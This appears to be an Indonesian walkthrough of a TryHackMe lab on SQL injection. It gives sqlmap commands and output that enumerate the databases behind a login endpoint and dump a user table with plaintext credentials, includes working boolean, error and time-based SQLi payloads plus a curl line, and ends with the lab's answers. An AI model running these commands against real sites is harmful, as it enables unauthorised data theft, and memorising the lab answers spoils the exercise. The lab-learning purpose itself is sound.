sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' --level=5Jawaban Saat SQLMap Bertanya (WAJIB)
Selama scanning, SQLMap akan bertanya. Jawab PERSIS seperti ini:
| Pertanyaan SQLMap | Jawaban |
|---|---|
| Skip DBMS lain selain MySQL? | y |
| Include semua test MySQL (risk)? | y |
| Try random integer for UNION? | y |
| Parameter email vulnerable, lanjut test lain? | n |
Ini penting supaya:
- Scan tidak terlalu lama
- Fokus ke parameter rentan
Menampilkan Database (Flag --dbs)
Setelah parameter email terdeteksi rentan:
sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' --dbs --level=5Contoh hasil:
available databases:
[*] ai
[*] usersMenampilkan Tabel Database
Misal database target: users
sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' -D users --tables --level=5Contoh tabel:
+-----------+
| accounts |
| admins |
+-----------+Dump Isi Tabel
Misal tabel target: admins
sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' -D users -T admins --dump --level=5Contoh hasil:
+----+-------------------+----------+
| id | email | password |
+----+-------------------+----------+
| 1 | admin@thm.com | admin123 |
+----+-------------------+----------+Jika password hash:
- SQLMap akan menawarkan cracking
- Bisa jawab
njika tidak diminta
Parameter Rentan
Dari instruksi:
GET parameter 'email' is vulnerableArtinya:
- SQL Injection terjadi pada email
- Parameter
passwordtidak perlu diuji lagi
Catatan Penting Keamanan
Gunakan SQLMap hanya untuk:
- Lab TryHackMe
- CTF
- Testing dengan izin
Dilarang:
- Website asli tanpa izin
- Sistem produksi
Kesimpulan Task
- Login page menggunakan GET request tersembunyi
- Parameter bisa dilihat via Inspect → Network
- SQLMap efektif untuk SQLi pada login form
--level=5sangat penting- Parameter email adalah titik injeksi
Answers Questions
kita coba login webnya dan setelah dilihat bagian networks request nya ke http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria
dari sini kita bisa coba jalankan sqlmap
sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" --level=5
# [14:55:17] [INFO] target URL appears to have 4 columns in query
# do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y
# injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
# [14:56:02] [INFO] testing 'MySQL UNION query (40) - 81 to 100 columns'
# GET parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
# sqlmap identified the following injection point(s) with a total of 1171 HTTP(s) requests:
# ---
# Parameter: email (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
# Payload: email=aria@gmail.com' AND 4905=(SELECT (CASE WHEN (4905=4905) THEN 4905 ELSE (SELECT 9427 UNION SELECT 8078) END))-- WwJS&password=aria
# Type: error-based
# Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: email=aria@gmail.com' OR (SELECT 5063 FROM(SELECT COUNT(*),CONCAT(0x7162716271,(SELECT (ELT(5063=5063,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ecTU&password=aria
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: email=aria@gmail.com' AND (SELECT 3468 FROM (SELECT(SLEEP(5)))sTDc)-- yPmA&password=aria
# ---
curl "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com' AND 4905=(SELECT (CASE WHEN (4905=4905) THEN 4905 ELSE (SELECT 9427 UNION SELECT 8078) END))-- WwJS&password=aria"
sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" --dbs
# available databases [6]:
# [*] ai
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] phpmyadmin
# [*] test- How many databases are available in this web application?
- Use the --dbs --level=5 flag for extracting all the available databases.
6
sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" -D ai --tables
# [1 table]
# +------+
# | user |
# +------+- What is the name of the table available in the "ai" database?
- Use -D ai --tables --level=5 flag to extract the available tables of a database.
user
sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" -D ai -T user --dump
# +------+-----------------+---------------------+------------+
# | id | email | created | password |
# +------+-----------------+---------------------+------------+
# | 1 | test@chatai.com | 2023-02-21 09:05:46 | 12345678 |
# +------+-----------------+---------------------+------------+- What is the password of the email test@chatai.com?
- Dump the table records of the "user" table in the "ai" database.
12345678